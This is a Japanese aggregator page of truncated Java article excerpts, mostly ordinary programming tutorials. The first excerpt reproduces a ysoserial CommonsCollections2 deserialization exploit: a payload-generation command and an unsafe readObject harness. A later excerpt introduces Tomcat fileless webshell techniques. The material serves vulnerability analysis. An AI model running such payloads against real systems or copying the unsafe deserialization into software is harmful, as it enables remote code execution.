JAVA関連のことを調べてみた2020年04月17日

JAVA関連のことを調べてみた2020年04月17日

ysoserial CommonsCollections2 反序列化分析

## 复现
JDK8u221,生成反序列化文件

“`java
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 calc > test.ser
“`

构造反序列化点

“`java
package com.xxe.run;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class CommonsCollections2 {
public static void main(String[] args) {
readObject();
}

public static void readObject() {
FileInputStream fis = null;
try {
fis = new FileInputStream(“web/test.ser”);
ObjectInputS

元記事を表示

JMXでログイン情報を管理してみた

「踊ってみた」みたいなタイトルですが、真面目な記事です。

ちょっと前に自分が参加しているプロジェクトでJMXについて調査してみたんですが、これ使えば簡単な設定なら設定画面作らなくてもいいじゃないかと思ったんです。
お客さんには勧めづらいと思うけど、社内の自社製品とかなら設定画面作る工数を削減できるんじゃないかと思って簡単なログイン情報管理できるアプリを作って使用感などを見てみました。

## 環境

今回は簡易機能なのでDBは使用してないです。
ログインするだけの簡単なWebアプリケーションをSpringを使用して作成しました。
使用したライブラリなんかは以下の通りです。

– OpenJDK 13.0.2
– Sprinig Boot 2.2.5
– Thymeleaf 3.0.11
– Apache Commons CLI 1.4
– Tomcat 9.0.31

## ログイン管理の仕様

ログイン管理の仕様について簡単に記載してみます。

– ログインユーザ一覧が閲覧できる。
– 最大ログイン人数が設定できる。
– IDロックが実施できる。

ログイン管理機能についてはこの

元記事を表示

JavaのEnum活用例

Javaを以前仕事で使っていた時に、分かりにくい処理があったのでそれをリファクタリングしたお話です。

# リファクタリング前

リファクタリング前はこのようになってました。

“`Java

private void doProcess() {
A a = initial();
if (!chkfnc1(a)) {
throw new XXXException(x1);
}

if (!chkfnc2(a)) {
throw new XXXException(x2);
}

if (!chkfnc3(a)) {
throw new XXXException(x3);
}

execute(a); //チェック後の実行処理

}

private boolean chkfnc1(a) {}
private boolean chkfnc2(

元記事を表示

Javaの知識まとめ

#ファイル作成・書き込み

//ファイル作成
File file = new File(“ファイルパス”);
file.createNewFile();

//ファイル書き込み
FileWriter fw = new FileWriter(file)
fw.write(“書き込み1\r\n”);
fw.write(“書き込み2\r\n”);

//ファイルクローズ
fw.close();

元記事を表示

thymeleaf 〇文字目~ 省略表示方法

#thymeleafでDBから取得した文字列を指定文字数まで表示

今回業務で、ある範囲内に指定文字数を表示し、それ以降は「…」って表示することがあったので、
メモとして記載します。
まだまだ未熟ですので、間違っている箇所等あれば、指摘して頂けると嬉しいです。

##・文字列の長さ
“`Java
“${#strings.length(hoge.str)}” //hoge.strの文字列を取得できる。
“`

##・実際の使い方
“`Java
//10文字以上の場合、9文字目まで表示させて、それ以降は「…」と表示

//それ以外は普通に表示

“`

###・その他
#### isEmpty
“`Java

元記事を表示

SpringBootの初歩の初歩で詰まった話(解決済)

どーも、ふぎとです。

今回は初歩的なエラーの備忘録です。
具体的には「SpringBootとThymeleafを使って、
http://localhost:8080 に”Hello World”と
表示するMVCアプリケーション試作時に出会った
whitelabel error pageへの対処」の記録です。

##まずはプロジェクトの作成

[こちら](https://qiita.com/gevanni/items/c1748f32d5045f63e149)の記事通りに作成しました。
そのまま記事に従ってサーバ起動、localhostのページへ……。

##エラーページがどーん

スクショ忘れましたが、早速エラーページに遭遇。
よくよく見てみると
“This application has no explicit mapping for /error”
とのこと。ふむ?

##とりあえずエラーメッセージで検索
2020-04-16.png[Java データ構造入門] primitive型用の速いArrayDequeを自作する

`Java`で幅優先探索や深さ優先探索を実装する際には, `ArrayDeque`に頂点番号を格納する形で実装する方は多いと思います. しかしこの`ArrayDeque`, `int`のラッパークラスである`Integer`を格納するためauto boxing/unboxingが頻繁に発生してしまい速度はいまいちです.
そこで, 今回は高速な`int`専用のdeque(`IntArrayDeque`)を簡単に実装したいと思います. 実装が簡単な割に効果は高いのでお勧めです.

`IntArrayDeque`クラスを実装するにあたって, 最低限必要な機能を挙げてみると以下のようになると思います.

– 先頭/ 末尾の要素を取得 (`int getFirst()`, `int getLast()`)
– 先頭/ 末尾に要素を追加 (`void addFirst(int v)`, `void addLast(int v)`)
– 先頭/ 末尾の要素を削除 (`int pollFirst()`, `int pollLast()`)
– サイズの取得 (`i

元記事を表示

【初心者でもできる‼】Windows10にJava環境を作る方法(JDK14.0.1)

## 1.Javaとは
– Javaとは、プログラミング言語の一種で、オブジェクト指向が主要パラダイムとして導入されている。
– Java言語は、従来のソフトウェアが抱えていた移植性問題の解決を図り、特定の環境に依存しない理想的なクロスプラットフォーム・プログラムの実現を目指して開発された。

## 2.Javaの準備
Javaを学ぶために必要な準備は、

– `Java環境` → JDK(Java SE Development Kit) , システム環境変数 , コマンドプロンプトなど
– `エディタ` → メモ帳 , テキストエディット , サクラエディタ , Atomなど

上記を用意できたら、エディタにJavaのコードを書き、コマンドプロンプトでコンパイルをして開発を行う。

## 3.Java環境の作り方

![01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/449867/712cf7f3-3701-d09d-2dc8-ffcbecfab307.png)

1. `Oracle` の [J

元記事を表示

アップキャストとダウキャストとコンストラクタ

import java.util.*;

interface Sample{
//定数はインターフェースに定義できるよ
public final static int num=10;
//抽象メソッド public abstractは自動で作られる
public abstract void hoge();

}

interface Test{
//定数はインターフェースに定義できるよ
public final static int num=10;
//抽象メソッド public abstractは自動で作られる
public abstract void exe();

}

//多重実現
class SampleImp implements Sample,Test{
public void hoge(){

}

public void exe(){

}
}

class A{

public int

元記事を表示

APIをジェネリクス化するコツ

# 概要
ジェネリクスって便利ですよね。でも、記号(型引数)が多くて頭がごちゃごちゃしませんか?
APIをジェネリクス化するおすすめの手順は以下です。

1. 切り出して汎用化したい処理を、まずは具体的な型のままで書く
1. その処理の中で、型を可変にしたいものを洗い出す
1. それらを型引数に置き換え、ジェネリクス化

具体例で見ましょう。

# 簡単な例
以下のようなコードがあります。

“`java
// In: List
// Out: 商品コードをキー、販売数合計を値とするマップ
Map map =
list.stream().collect(
Collectors.groupingBy(SalesLine::getProductCode,
Collectors.summingInt(SalesLine::getQuantity)

元記事を表示

Ruby と Perl と Java で解く AtCoder ARC 081 C

# はじめに
*[AtCoder Problems](https://kenkoooo.com/atcoder/#/)* の Recommendation を利用して、過去の問題を解いています。
AtCoder Problems さん、ありがとうございます。
# 今回のお題
*[AtCoder Regular Contest C – Make a Rectangle](https://atcoder.jp/contests/arc081/tasks/arc081_a)*
Difficulty: 538
# Ruby
“`ruby.rb
n = gets.to_i
c = gets.split.map(&:to_i)
h = {}
n.times do |i|
if h[c[i]]
h[c[i]] += 1
else
h[c[i]] = 1
end
end
s = h.select{|k, v| v >= 4}.keys.sort{|a, b| b<=>a}
t = h.select{|k, v| v

元記事を表示

Tomcat 无文件回显执行命令

## 前言
先知最近出了一批关于tomcat回显的文章,仔细研究了一下,发现可以用来实现“无文件webshell”以及“反序列化执行命令拿到回显”,本文是总结、搬砖。

各位师傅的文章画一下时间线:
1. [《基于内存 Webshell 的无文件攻击技术研究》](https://www.anquanke.com/post/id/198886) 主要应用于Spring
2. [《linux下java反序列化通杀回显方法的低配版实现》](https://xz.aliyun.com/t/7307) 将回显结果写入文件操作符
3. [《Tomcat中一种半通用回显方法》](https://xz.aliyun.com/t/7348) 将执行命令的结果存入tomcat的response返回 shiro无法回显
4. [《基于tomcat的内存 Webshell 无文件攻击技术》](https://xz.aliyun.com/t/7388) 动态注册filter实现回显 shiro无法回显
5. [《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》](https://mp.weixin

元記事を表示

pom.xmlに定義されていないjarでMissing artifactとなった時の対応方法

– 環境
– CentOS Linux release 7.6.1810 (Core)
– Apache Maven 3.2.5
– (Maven用)Java1.8.0_242 (プロジェクト用)Java1.6.0_41

# 事象 : Eclipseでプロジェクトを選択 > [Maven] > [Update Project…]したら怒られた

“`log:[Problems]タブのエラー
Missing artifact javax.resource:connector:jar:1.0
Missing artifact javax.transaction:jta:jar:1.0.1B
“`

プロジェクトのpom.xmlをグレップしてもそんな定義はない・・・はて?

“`bash
$ grep -rn connector –include=pom.xml
$ grep -rn jta –include=pom.xml
$
“`

## 原因 : pom.xml定義されているjarの依存関係にあるjarがないから

### 試行錯誤
Eclip

元記事を表示

【Java】多態性を勉強したので使い方やメリットをまとめてみる

#はじめに
スキルアップのため、これからは勉強したことをQiitaに投稿していきます。
今回はJavaの多態性についてです。
JavaもQiitaも超がつく初学者のため、間違いがあるかもしれません。その時は教えてくださると助かります。
######使用言語とOS
この記事ではWindowsにインストールしたJava11.0.6を使っています。

#多態性とは
オブジェクトを大まかにとらえることで、開発をしやすくする機能のことです。
例えば、「バラ」「ひまわり」「チューリップ」は**細かく言うと**それぞれの育て方は異なるものの、水をあげれば花が咲く点は共通しています。
なので、私たちはこの3種類を「花」という**大まかなとらえ方**をしていて、「花」だとわかればとりあえず水をやるわけです。このとらえ方をプログラムでもしようっていうのが**多態性**です。

#プログラム内で多態性を利用する
特別な書き方はなく、代入の書き方をすればOKです。
######代入ってこんなやつ
“`Java:Assignment.java
int num1 = 100;
int num2 = 200;
n

元記事を表示

【Java】FizzBuzzを出力するときに気をつけるべきこと

#FizzBuzzを出力するときに気をつけるべきこと#
##FizzBuzz問題とは##
最初のプレイヤーは「1」、次のプレイヤーは前のプレイヤーの次の数字を言うゲーム

ただし・・・

– 3で割り切れる場合は「Fizz」
– 5で割り切れる場合は「Buzz」
– 両方(すなわち15)で割り切れる場合は「Fizz Buzz」

というルールがあります

FizzBuzz問題は比較的かんたんなプログラムで出力できることから、
初心者プログラマが乗り越えるべき壁となっています
##ひな型になるfor文を書きます##
“`java
for(int i = 1;i < 100;i++){ System.out.println(i); } ``` ##上記の意味は?## - 整数型(Integer)を宣言 - 添字「i」を1として初期化 - iを99(100含まず)までインクリメント(増分)し、 - インクリメントされた添字iを改行付きで出力する ``` 1 2 3 (中略) 97 98 99 ``` 99まで出力されました ##上のコードに手を加える## 文字列「はFizz

元記事を表示

Socket通信(Java) 初めて実務で実装した感想

Socket通信を初めて実務で実装する機会があったので、感想と使用技術をメモしておきます。過去に独習していた時には、ぴんとこなかったのですが、さすがにデータ仕様書をみて実装すると体感することができました。

##1. Socket通信概要
サーバー・ソケットとクライアント・ソケットの2種類あるようですが、今回は、クライアント・ソケットのみを使用しました。
感想は、JavaのSocket Apiがあるけれど、結局、バイトストリームのやり取りか・・・と言うものでした。
データ仕様書にも、「データA:xxxバイトから4バイト」みたいな記載でしたし。

下記記事群を参考にさせていただきました。
@Hyman1993さん
[Java通信APIのまとめ(一)Socketの使い方](https://qiita.com/Hyman1993/items/a3aaabbb2e83580d68d2)
@Ginさん
[TCPのストリーム通信の切れ目・区切りについて](https://qiita.com/Gin/items/620f4a7bec246004ee89)

##2. バイトオーダー
設計書に「デー

元記事を表示

[Android]ディープリンクへの対応手順

# ディープリンクへの対応手順

## 以下の手順となります。

**マニフェストを設定 1**

“`kotlin






“`

applink_1.</p></blockquote>
</blockquote>
<aside class='widget widget-post'>
<div class='tag-cloud-link'>Java</div>
<div class='tag-cloud-link'>HTML</div>
<div class='tag-cloud-link'>Android</div>
<div class='tag-cloud-link'>Kotlin</div>
<div class='tag-cloud-link'>AndroidStudio</div>
</aside>
<div><a style='width:100%;' class='btn__link' href='https://qiita.com/myatthinkyu/items/872a2f4713befdffafcf'>元記事を表示</a></div>
<h3 id=LocalDateTimeクラスとは?【Java初心者】~日時クラス~

パパっと済ませましょう。
日時クラスについてまとめてみました☺

#■LocalDateTimeクラスとは?
>Java8から導入された新しいAPI。
【特徴】
・タイムゾーンのない日時。
・内部にLocalDateとLocalTimeのインスタンスを持っている。
・例:2015-12-15T23:30:59.999

コードで書くとこんな感じでできる。

“`java
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.time.LocalTime;

public class test01 {

public static void main(String[] args) {

//現在日時を生成;
LocalDateTime d = LocalDateTime.now();
System.out.println(“現在日時:” + d); //現在日時:2020-04-15T15:57:33.884

//日付を生成
LocalDate

元記事を表示

【Java】穴掘り法で迷路作ってみました♪

初投稿です!!
#こんな迷路ができました。

![実行結果.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/527632/229b9d12-f96e-6b47-2cfb-b544fd1f2af0.png)

#作ろうと思ったきっかけ
以前にHTML5とJSで、棒倒し法を使った迷路ゲームをつくって文化祭に出展したことがありました。
しかし、棒倒し法で作った迷路は解がとても単純になってしまうため、解が複雑な穴掘り法でやってみたいと思ったからです。
#穴掘り法って?
**■すごくざっくり言うと穴掘り法はこんなアルゴリズム** (もしかしたら間違っているかも:sweat_drops:)

縦、横共に大きさが5以上で奇数の大きさのマップを作成する。
すべて壁で埋める
マップの端っこ以外で、X座標、Y座標が共に奇数の場所を無作為に選び、穴を開ける。
★端っこ以外で、X,Y座標が奇数で(今回は左上端を0,0とする)、まだ壁が残っているところがあるか確かめる
    **あったら:**マップの端っこ以外で、X座標、Y座

元記事を表示

JavaプロジェクトをKotlinに書き換えるための初期設定

完全にJavaで記述されたAndroidプロジェクトにKotlinのファイルを追加するための初期設定手順をまとめます。

## appのbuild.gradle

“`
+ apply plugin: ‘kotlin-android’
+ apply plugin: ‘kotlin-android-extensions’

buildscript {
}

repositories {
+ mavenCentral()
}

dependencies {
implementation “org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version”
}

android {
}
“`

### 解説
プラグインを適用します。

“`
apply plugin: ‘kotlin-android-extensions’
apply plugin: ‘kotlin-android’
“`

repositoriesにmavenCentralを追加

“`
mavenCentral()
“`

ライブラリセットにKo

元記事を表示

OTHERカテゴリの最新記事